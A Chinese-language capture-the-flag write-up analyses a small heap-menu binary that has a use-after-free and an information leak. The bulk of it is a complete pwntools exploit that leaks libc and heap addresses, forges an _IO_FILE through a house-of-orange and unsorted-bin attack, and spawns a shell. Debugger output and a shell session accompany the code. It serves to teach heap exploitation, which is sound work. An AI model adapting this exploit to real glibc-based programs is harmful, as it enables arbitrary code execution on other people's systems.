题目复现

$ file 300 
300: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5f43b102f0fe3f3dd770637f1d244384f6b2a1c9, not stripped
$ checksec -f 300
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes     0               2       300
$ strings libc-2.24.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
Compiled by GNU CC version 6.3.0 20170406.

64 位程序 ,开启了 canary、NX 和 PIE,默认开启 ASLR。

在 Ubuntu16.10 上玩一下:

) alloc
2) write
3) print
4) free
1                       <-- alloc 1
slot? (0-9)
1
1) alloc
2) write
3) print
4) free
2
slot? (0-9)
1                       <-- write 1
AAAAAAAAAAAAAAAA
1) alloc
2) write
3) print
4) free
4                       <-- free 1
slot? (0-9)
1
1) alloc
2) write
3) print
4) free
2                       <-- write 1
slot? (0-9)
1
BBBBBBBB
1) alloc
2) write
3) print
4) free
3                       <-- print 1
slot? (0-9)
1
BBBBBBBB
AAAAAAA

1) alloc
2) write
3) print
4) free
3                       <-- print 2
slot? (0-9)
2
Segmentation fault (core dumped)

很清晰的 4 个功能:alloc、write、print 和 free。通过尝试似乎就发现了问题,free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 \x00 导致信息泄露。最后如果 print 一个还没有 alloc 的 slot,则出现段错误。

题目解析

main

[0x00000790]> pdf @ main
/ (fcn) main 180
|   main ();
|           ; var int local_20h @ rbp-0x20
|           ; var int local_14h @ rbp-0x14
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|           ; DATA XREF from 0x000007ad (entry0)
|           0x00000a91      push rbp
|           0x00000a92      mov rbp, rsp
|           0x00000a95      sub rsp, 0x20
|           0x00000a99      mov dword [local_14h], edi
|           0x00000a9c      mov qword [local_20h], rsi
|           ; CODE XREF from 0x00000b40 (main)
|       .-> 0x00000aa0      mov eax, 0
|       :   0x00000aa5      call sym.menu
|       :   0x00000aaa      mov eax, 0
|       :   0x00000aaf      call sym.read_int                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|       :   0x00000ab4      mov dword [local_8h], eax
|       :   0x00000ab7      lea rdi, str.slot___0_9                    ; 0xbfe ; "slot? (0-9)"
|       :   0x00000abe      call sym.myputs
|       :   0x00000ac3      mov eax, 0
|       :   0x00000ac8      call sym.read_int                           ; 读入 slot
|       :   0x00000acd      mov dword [local_4h], eax                   ; slot 放到 [local_4h]
|       :   0x00000ad0      cmp dword [local_4h], 0
|      ,==< 0x00000ad4      js 0xadc                                    ; slot 小于 0 时跳转,程序退出
|      |:   0x00000ad6      cmp dword [local_4h], 9                    ; [0x9:4]=0
|     ,===< 0x00000ada      jle 0xae6                                   ; slot 小于等于 9 时跳转
|     ||:   ; CODE XREF from 0x00000ad4 (main)
|     |`--> 0x00000adc      mov edi, 0
|     | :   0x00000ae1      call sym.imp.exit                          ; void exit(int status)
|     | :   ; CODE XREF from 0x00000ada (main)
|     `---> 0x00000ae6      mov eax, dword [local_8h]
|       :   0x00000ae9      cmp eax, 2
|      ,==< 0x00000aec      je 0xb12                                    ; write
|      |:   0x00000aee      cmp eax, 2
|     ,===< 0x00000af1      jg 0xafa
|     ||:   0x00000af3      cmp eax, 1
|    ,====< 0x00000af6      je 0xb06                                    ; alloc
|   ,=====< 0x00000af8      jmp 0xb36
|   ||||:   ; CODE XREF from 0x00000af1 (main)
|   ||`---> 0x00000afa      cmp eax, 3
|   ||,===< 0x00000afd      je 0xb1e                                    ; print
|   ||||:   0x00000aff      cmp eax, 4
|  ,======< 0x00000b02      je 0xb2a                                    ; free
| ,=======< 0x00000b04      jmp 0xb36
| ||||||:   ; CODE XREF from 0x00000af6 (main)
| |||`----> 0x00000b06      mov eax, dword [local_4h]                   ; 取出 slot
| ||| ||:   0x00000b09      mov edi, eax
| ||| ||:   0x00000b0b      call sym.alloc_it                           ; 调用函数 alloc_it(slot)
| |||,====< 0x00000b10      jmp 0xb40
| ||||||:   ; CODE XREF from 0x00000aec (main)
| |||||`--> 0x00000b12      mov eax, dword [local_4h]                   ; 取出 slot
| ||||| :   0x00000b15      mov edi, eax
| ||||| :   0x00000b17      call sym.write_it                           ; 调用函数 write_it(slot)
| |||||,==< 0x00000b1c      jmp 0xb40
| ||||||:   ; CODE XREF from 0x00000afd (main)
| ||||`---> 0x00000b1e      mov eax, dword [local_4h]                   ; 取出 slot
| |||| |:   0x00000b21      mov edi, eax
| |||| |:   0x00000b23      call sym.print_it                           ; 调用函数 print_it(slot)
| ||||,===< 0x00000b28      jmp 0xb40
| |`------> 0x00000b2a      mov eax, dword [local_4h]                   ; 取出 slot
| | ||||:   0x00000b2d      mov edi, eax
| | ||||:   0x00000b2f      call sym.free_it                            ; 调用函数 free_it(slot)
| |,======< 0x00000b34      jmp 0xb40
| ||||||:   ; CODE XREF from 0x00000b04 (main)
| ||||||:   ; CODE XREF from 0x00000b03 (main)
| ||||||:   ; CODE XREF from 0x00000af8 (main)
| `-`-----> 0x00000b36      mov edi, 0
|  | |||:   0x00000b3b      call sym.imp.exit                          ; void exit(int status)
|  | ||||   ; CODE XREF from 0x00000b28 (main)
|  | ||||   ; CODE XREF from 0x00000b34 (main)
|  | ||||   ; CODE XREF from 0x00000b1c (main)
|  | ||||   ; CODE XREF from 0x00000b10 (main)
\  `-````=< 0x00000b40      jmp 0xaa0

从 main 函数中我们知道,程序的所有操作都是基于 slot。

alloc

[0x00000790]> pdf @ sym.alloc_it 
/ (fcn) sym.alloc_it 51
|   sym.alloc_it ();
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from 0x00000b0b (main)
|           0x000009ca      push rbp
|           0x000009cb      mov rbp, rsp
|           0x000009ce      sub rsp, 0x10
|           0x000009d2      mov dword [local_4h], edi                   ; slot 放到 [local_4h]
|           0x000009d5      mov edi, 0x300
|           0x000009da      call sym.imp.malloc                         ; rax = malloc(0x300) 分配堆空间
|           0x000009df      mov rcx, rax
|           0x000009e2      mov eax, dword [local_4h]
|           0x000009e5      cdqe
|           0x000009e7      lea rdx, [rax*8]                            ; rdx = slot * 8
|           0x000009ef      lea rax, obj.allocs                        ; 0x202040
|           0x000009f6      mov qword [rdx + rax], rcx                  ; 将该空间的地址放到 [0x202040 + slot * 8]
|           0x000009fa      nop
|           0x000009fb      leave
\           0x000009fc      ret
[0x00000790]> px 0x8*10 @ obj.allocs 
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00202040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00202050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00202060  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00202070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00202080  0000 0000 0000 0000 0000 0000 0000 0000  ................

该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 0x202040 开始的数组 allocs 中。

write

[0x00000790]> pdf @ sym.write_it 
/ (fcn) sym.write_it 56
|   sym.write_it ();
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from 0x00000b17 (main)
|           0x000009fd      push rbp
|           0x000009fe      mov rbp, rsp
|           0x00000a01      sub rsp, 0x10
|           0x00000a05      mov dword [local_4h], edi                   ; slot 放到 [local_4h]
|           0x00000a08      mov eax, dword [local_4h]
|           0x00000a0b      cdqe
|           0x00000a0d      lea rdx, [rax*8]
|           0x00000a15      lea rax, obj.allocs                        ; 0x202040
|           0x00000a1c      mov rax, qword [rdx + rax]                  ; 取出 allocs[slot]
|           0x00000a20      mov edx, 0x300
|           0x00000a25      mov rsi, rax
|           0x00000a28      mov edi, 0
|           0x00000a2d      call sym.imp.read                           ; read(0, allocs[slot], 0x300) 读入字符串
|           0x00000a32      nop
|           0x00000a33      leave
\           0x00000a34      ret

该函数读入最多 0x300 个字符到 slot 对应的空间中。没有在字符串末尾加 \x00,可能导致信息泄露。

print

[0x00000790]> pdf @ sym.print_it 
/ (fcn) sym.print_it 46
|   sym.print_it ();
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from 0x00000b23 (main)
|           0x00000a35      push rbp
|           0x00000a36      mov rbp, rsp
|           0x00000a39      sub rsp, 0x10
|           0x00000a3d      mov dword [local_4h], edi                   ; slot 放到 [local_4h]
|           0x00000a40      mov eax, dword [local_4h]
|           0x00000a43      cdqe
|           0x00000a45      lea rdx, [rax*8]
|           0x00000a4d      lea rax, obj.allocs                        ; 0x202040
|           0x00000a54      mov rax, qword [rdx + rax]                  ; 取出 allocs[slot]
|           0x00000a58      mov rdi, rax
|           0x00000a5b      call sym.myputs                             ; 打印
|           0x00000a60      nop
|           0x00000a61      leave
\           0x00000a62      ret

该函数用于打印 slot 对应空间中的字符串。

free

[0x00000790]> pdf @ sym.free_it 
/ (fcn) sym.free_it 46
|   sym.free_it ();
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from 0x00000b2f (main)
|           0x00000a63      push rbp
|           0x00000a64      mov rbp, rsp
|           0x00000a67      sub rsp, 0x10
|           0x00000a6b      mov dword [local_4h], edi                   ; slot 放到 [local_4h]
|           0x00000a6e      mov eax, dword [local_4h]
|           0x00000a71      cdqe
|           0x00000a73      lea rdx, [rax*8]
|           0x00000a7b      lea rax, obj.allocs                        ; 0x202040
|           0x00000a82      mov rax, qword [rdx + rax]                  ; 取出 allocs[slot]
|           0x00000a86      mov rdi, rax
|           0x00000a89      call sym.imp.free                           ; free(allocs[slot]) 释放空间
|           0x00000a8e      nop
|           0x00000a8f      leave
\           0x00000a90      ret

该函数用于释放 slot 对应的空间,但是却没有将 allocs[slot] 指针置空,导致 UAF,或者 double-free。

漏洞利用

从上面我们可以看到,程序的各项操作都基于 slot,对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。

leak

def leak():
    global libc_base
    global heap_addr

    alloc(0)
    alloc(1)
    alloc(2)
    alloc(3)
    alloc(4)

    free(1)
    free(3)

    printt(1)
    libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
    printt(3)
    heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310

    log.info("libc_base address: 0x%x" % libc_base)
    log.info("heap address: 0x%x" % heap_addr)

首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 \x00 截断(heap 基地址的低位 0x00)。然后释放掉 1 和 3 即可。

gef➤  x/10gx &allocs 
0x555555756040 <allocs>:	0x0000555555757010	0x0000555555757320
0x555555756050 <allocs+16>:	0x0000555555757630	0x0000555555757940
0x555555756060 <allocs+32>:	0x0000555555757c50	0x0000000000000000
0x555555756070 <allocs+48>:	0x0000000000000000	0x0000000000000000
0x555555756080 <allocs+64>:	0x0000000000000000	0x0000000000000000
gef➤  x/6gx 0x0000555555757320-0x10
0x555555757310:	0x0000000000000000	0x0000000000000311  <-- slot 1
0x555555757320:	0x00007ffff7dd1b58	0x0000555555757930
0x555555757330:	0x0000000000000000	0x0000000000000000
gef➤  x/6gx 0x0000555555757940-0x10
0x555555757930:	0x0000000000000000	0x0000000000000311  <-- slot 3
0x555555757940:	0x0000555555757310	0x00007ffff7dd1b58
0x555555757950:	0x0000000000000000	0x0000000000000000

house of orange

def house_of_orange():
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
    io_wstr_finish = libc_base + 0x3bdc90

    fake_chunk = heap_addr + 0x310 * 4 + 0x20
    fake_chunk_bk = heap_addr + 0x310 * 3

    log.info("_IO_list_all address: 0x%x" % io_list_all)
    log.info("system address: 0x%x" % system_addr)
    log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)

    stream  = p64(0) + p64(0x61)                    # fake header       # fp
    stream += p64(0) + p64(fake_chunk_bk)           # fake bk pointer
    stream += p64(0)                                # fp->_IO_write_base
    stream += p64(0xffffffff)                       # fp->_IO_write_ptr 
    stream += p64(bin_sh_addr)                      # fp->_IO_write_end # fp->wide_data->buf_base
    stream  = stream.ljust(0x74, '\x00')
    stream += p64(0)                                # fp->_flags2
    stream  = stream.ljust(0xa0, '\x00')
    stream += p64(fake_chunk)                       # fp->_wide_data
    stream  = stream.ljust(0xc0, '\x00')
    stream += p64(0)                                # fp->_mode

    payload  = "A" * 0x10
    payload += stream
    payload += p64(0) * 2
    payload += p64(io_wstr_finish - 0x18)           # _IO_FILE_plus->vtable - 0x8
    payload += p64(0)
    payload += p64(system_addr)                     # ((_IO_strfile *) fp)->_s._free_buffer

    write(4, payload)

    payload  = p64(0) + p64(fake_chunk)             # unsorted_bin->TAIL->bk
    write(1, payload)

    alloc(5)
    alloc(6)                                        # put fake chunk in smallbins[5]

    free(5)                                         # put a chunk in unsorted bin
    write(5, p64(0) + p64(io_list_all - 0x10))      # bk pointer
    alloc(5)                                        # unsorted bin attack

这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk,而我们知道 house-of-orange 需要大小为 0x60 的 chunk(放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk,以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk,而第二次 malloc 的时候,由于大小不合适,fake chunk 就会被整理回 smallbins[5]:

gef➤  x/10gx &allocs 
0x555555756040 <allocs>:	0x0000555555757010	0x0000555555757320
0x555555756050 <allocs+16>:	0x0000555555757630	0x0000555555757940
0x555555756060 <allocs+32>:	0x0000555555757c50	0x0000555555757320
0x555555756070 <allocs+48>:	0x0000555555757940	0x0000000000000000
0x555555756080 <allocs+64>:	0x0000000000000000	0x0000000000000000
gef➤  x/6gx 0x0000555555757320-0x10
0x555555757310:	0x0000000000000000	0x0000000000000311  <-- slot 1
0x555555757320:	0x0000000000000000	0x0000555555757c60      <-- bk points to fake chunk
0x555555757330:	0x000000000000000a	0x0000000000000000
gef➤  x/34gx 0x0000555555757c50-0x10
0x555555757c40:	0x0000000000000310	0x0000000000000311  <-- slot 4
0x555555757c50:	0x4141414141414141	0x4141414141414141
0x555555757c60:	0x0000000000000000	0x0000000000000061  <-- fake chunk
0x555555757c70:	0x00007ffff7dd1ba8	0x00007ffff7dd1ba8
0x555555757c80:	0x0000000000000000	0x00000000ffffffff      <-- fp->_IO_write_ptr
0x555555757c90:	0x00007ffff7b9ac40	0x0000000000000000      <-- fp->wide_data->buf_base
0x555555757ca0:	0x0000000000000000	0x0000000000000000
0x555555757cb0:	0x0000000000000000	0x0000000000000000
0x555555757cc0:	0x0000000000000000	0x0000000000000000
0x555555757cd0:	0x0000000000000000	0x0000000000000000
0x555555757ce0:	0x0000000000000000	0x0000000000000000
0x555555757cf0:	0x0000000000000000	0x0000000000000000
0x555555757d00:	0x0000555555757c60	0x0000000000000000      <-- fp->_wide_data
0x555555757d10:	0x0000000000000000	0x0000000000000000
0x555555757d20:	0x0000000000000000	0x0000000000000000      <-- fp->_mode
0x555555757d30:	0x0000000000000000	0x00007ffff7dcdc78      <-- vtable
0x555555757d40:	0x0000000000000000	0x00007ffff7a556a0      <-- ((_IO_strfile *) fp)->_s._free_buffer
gef➤  x/12gx 0x7ffff7dd1bb8-0x50
0x7ffff7dd1b68:	0x00007ffff7dd1b58	0x00007ffff7dd1b58  <-- unsorted bin
0x7ffff7dd1b78:	0x00007ffff7dd1b68	0x00007ffff7dd1b68
0x7ffff7dd1b88:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x7ffff7dd1b98:	0x00007ffff7dd1b88	0x00007ffff7dd1b88
0x7ffff7dd1ba8:	0x00007ffff7dd1b98	0x00007ffff7dd1b98
0x7ffff7dd1bb8:	0x0000555555757c60	0x0000555555757c60  <-- smallbins[5]

对于 vtable 的利用,上一节我们使用了 _IO_str_overflow 函数,这次我们就用 _IO_wstr_finish 函数。具体怎么用请查看章节 4.13。

值得注意的是 fp->_wide_data 指向了 fake chunk,所以就相当于我们复用了这一块空间,fp->_IO_write_end 的地方也是就是 fp->wide_data->buf_base

接下来利用 unsorted bin attack 修改 _IO_list_all 指向 &unsorted_bin-0x10,而偏移 0x60 的地方就是 _IO_list_all->_chain,即 smallbins[5],指向了 fake chunk。

gef➤  x/10gx &allocs
0x555555756040 <allocs>:	0x0000555555757010	0x0000555555757320
0x555555756050 <allocs+16>:	0x0000555555757630	0x0000555555757940
0x555555756060 <allocs+32>:	0x0000555555757c50	0x0000555555757320
0x555555756070 <allocs+48>:	0x0000555555757940	0x0000000000000000
0x555555756080 <allocs+64>:	0x0000000000000000	0x0000000000000000
gef➤  x/6gx 0x0000555555757320-0x10
0x555555757310:	0x0000000000000000	0x0000000000000311  <-- slot 5
0x555555757320:	0x0000000000000000	0x00007ffff7dd24f0      <-- bk points to _IO_list_all-0x10
0x555555757330:	0x000000000000000a	0x0000000000000000
gef➤  x/4gx 0x00007ffff7dd24f0
0x7ffff7dd24f0:	0x0000000000000000	0x0000000000000000
0x7ffff7dd2500 <_IO_list_all>:	0x00007ffff7dd1b58	0x0000000000000000
gef➤  x/14gx 0x00007ffff7dd1b58
0x7ffff7dd1b58:	0x0000555555757f50	0x0000000000000000  <-- &unsorted_bin-0x10
0x7ffff7dd1b68:	0x0000555555757310	0x00007ffff7dd24f0  <-- unsorted bin
0x7ffff7dd1b78:	0x00007ffff7dd1b68	0x00007ffff7dd1b68
0x7ffff7dd1b88:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x7ffff7dd1b98:	0x00007ffff7dd1b88	0x00007ffff7dd1b88
0x7ffff7dd1ba8:	0x00007ffff7dd1b98	0x00007ffff7dd1b98
0x7ffff7dd1bb8:	0x0000555555757c60	0x0000555555757c60  <-- smallbins[5]

pwn

def pwn():
    alloc(5)             # abort routine
    io.interactive()

最后触发异常处理,malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish,获得 shell。

开启 ASLR,Bingo!!!

python exp.py
[+] Starting local process './300': pid 5158
[*] libc_base address: 0x7efdcef24000
[*] heap address: 0x5624a7a3c000
[*] _IO_list_all address: 0x7efdcf2e6500
[*] system address: 0x7efdcef696a0
[*] /bin/sh address: 0x7efdcf0aec40
[*] _IO_wstr_finish address: 0x7efdcf2e1c90
[*] Switching to interactive mode
*** Error in `./300': malloc(): memory corruption: 0x00007efdcf2e6500 ***
======= Backtrace: =========
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./300'], env={'LD_PRELOAD':'./libc-2.24.so'})
libc = ELF('libc-2.24.so')

def alloc(idx):
    io.sendlineafter("free\n", '1')
    io.sendlineafter("(0-9)\n", str(idx))

def write(idx, data):
    io.sendlineafter("free\n", '2')
    io.sendlineafter("(0-9)\n", str(idx))
    io.sendline(data)

def printt(idx):
    io.sendlineafter("free\n", '3')
    io.sendlineafter("(0-9)\n", str(idx))

def free(idx):
    io.sendlineafter("free\n", '4')
    io.sendlineafter("(0-9)\n", str(idx))

def leak():
    global libc_base
    global heap_addr

    alloc(0)
    alloc(1)
    alloc(2)
    alloc(3)
    alloc(4)

    free(1)
    free(3)

    printt(1)
    libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
    printt(3)
    heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310

    log.info("libc_base address: 0x%x" % libc_base)
    log.info("heap address: 0x%x" % heap_addr)

def house_of_orange():
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
    io_wstr_finish = libc_base + 0x3bdc90

    fake_chunk = heap_addr + 0x310 * 4 + 0x20
    fake_chunk_bk = heap_addr + 0x310 * 3

    log.info("_IO_list_all address: 0x%x" % io_list_all)
    log.info("system address: 0x%x" % system_addr)
    log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)

    stream  = p64(0) + p64(0x61)                    # fake header       # fp
    stream += p64(0) + p64(fake_chunk_bk)           # fake bk pointer
    stream += p64(0)                                # fp->_IO_write_base
    stream += p64(0xffffffff)                       # fp->_IO_write_ptr 
    stream += p64(bin_sh_addr)                      # fp->_IO_write_end # fp->wide_data->buf_base
    stream  = stream.ljust(0x74, '\x00')
    stream += p64(0)                                # fp->_flags2
    stream  = stream.ljust(0xa0, '\x00')
    stream += p64(fake_chunk)                       # fp->_wide_data
    stream  = stream.ljust(0xc0, '\x00')
    stream += p64(0)                                # fp->_mode

    payload  = "A" * 0x10
    payload += stream
    payload += p64(0) * 2
    payload += p64(io_wstr_finish - 0x18)           # _IO_FILE_plus->vtable - 0x8
    payload += p64(0)
    payload += p64(system_addr)                     # ((_IO_strfile *) fp)->_s._free_buffer

    write(4, payload)

    payload  = p64(0) + p64(fake_chunk)             # unsorted_bin->TAIL->bk
    write(1, payload)

    alloc(5)
    alloc(6)                                        # put fake chunk in smallbins[5]

    free(5)                                         # put a chunk in unsorted bin
    write(5, p64(0) + p64(io_list_all - 0x10))      # bk pointer
    alloc(5)                                        # unsorted bin attack

def pwn():
    alloc(5)             # abort routine
    io.interactive()

if __name__ == '__main__':
    leak()
    house_of_orange()
    pwn()

参考资料